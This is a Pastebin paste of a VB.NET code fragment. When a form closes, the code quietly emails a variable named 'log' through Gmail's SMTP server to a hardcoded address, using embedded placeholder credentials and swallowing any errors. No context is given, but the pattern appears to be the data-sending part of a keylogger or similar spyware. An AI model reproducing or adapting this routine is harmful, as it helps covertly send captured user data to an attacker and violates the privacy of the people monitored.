Advertisement
Guest User

Untitled

a guest
Aug 1st, 2014
251
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.81 KB | None | 0 0
  1. Private Sub Text_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
  2. sendmail()
  3. End Sub
  4.  
  5. Private Sub sendmail()
  6. Try
  7. Dim SmtpServer As New SmtpClient
  8. SmtpServer.EnableSsl = True
  9. Dim mail As New MailMessage
  10. SmtpServer.Credentials = New Net.NetworkCredential("email@gmail.com", "password")
  11. SmtpServer.Port = 587
  12. SmtpServer.Host = "smtp.gmail.com"
  13. mail = New MailMessage
  14. mail.From = New MailAddress("email@gmail.com")
  15. mail.To.Add("email@gmail.com")
  16. mail.Subject = "log"
  17. mail.Body = log
  18. SmtpServer.Send(mail)
  19. Catch ex As Exception
  20. Me.Close()
  21. End Try
  22. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement